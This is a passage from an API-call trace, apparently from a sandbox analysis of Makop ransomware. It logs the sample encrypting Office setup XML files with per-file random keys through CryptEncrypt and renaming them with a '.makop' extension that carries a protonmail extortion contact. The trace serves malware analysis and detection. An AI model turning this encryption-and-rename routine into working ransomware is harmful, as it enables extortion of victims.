dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 148 [0091.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.795] CloseHandle (hObject=0x114) returned 1 [0091.796] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0091.796] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0091.796] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0091.796] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned 92 [0091.796] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*") returned 96 [0091.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0091.798] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.798] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0091.798] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0091.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.799] GetProcessHeap () returned 0x48a0000 [0091.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.799] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.799] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xf, lpOverlapped=0x0) returned 1 [0091.804] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.804] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.804] GetProcessHeap () returned 0x48a0000 [0091.804] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.804] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.804] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.804] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.804] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.805] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.805] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.805] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.805] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.805] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x391, lpOverlapped=0x0) returned 1 [0091.806] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x3a0) returned 1 [0091.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.806] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x3a0, lpOverlapped=0x0) returned 1 [0091.806] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.807] SetEndOfFile (hFile=0x114) returned 1 [0091.813] GetProcessHeap () returned 0x48a0000 [0091.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.813] GetProcessHeap () returned 0x48a0000 [0091.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 153 [0091.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.815] CloseHandle (hObject=0x114) returned 1 [0091.815] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0091.815] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0091.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.817] GetProcessHeap () returned 0x48a0000 [0091.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.817] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.822] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.822] GetProcessHeap () returned 0x48a0000 [0091.822] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.822] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0091.822] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.822] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0091.822] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.823] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.823] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.823] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.823] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.823] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.824] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5ac, lpOverlapped=0x0) returned 1 [0091.824] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0) returned 1 [0091.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.824] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5b0, lpOverlapped=0x0) returned 1 [0091.824] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.824] SetEndOfFile (hFile=0x114) returned 1 [0091.830] GetProcessHeap () returned 0x48a0000 [0091.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.830] GetProcessHeap () returned 0x48a0000 [0091.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.830] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 149 [0091.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.835] CloseHandle (hObject=0x114) returned 1 [0091.835] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0091.836] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0091.836] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0091.836] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us") returned 94 [0091.836] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*") returned 98 [0091.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0091.838] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.838] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0091.838] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0091.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.838] GetProcessHeap () returned 0x48a0000 [0091.838] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.838] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.839] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x1, lpOverlapped=0x0) returned 1 [0091.843] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.843] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.843] GetProcessHeap () returned 0x48a0000 [0091.843] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.843] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.843] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.843] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.843] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.843] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.844] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.844] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.844] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.844] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x4cf, lpOverlapped=0x0) returned 1 [0091.844] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x4d0) returned 1 [0091.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.845] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x4d0, lpOverlapped=0x0) returned 1 [0091.845] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.845] SetEndOfFile (hFile=0x114) returned 1 [0091.852] GetProcessHeap () returned 0x48a0000 [0091.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.852] GetProcessHeap () returned 0x48a0000 [0091.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.852] wsprintfW (in: 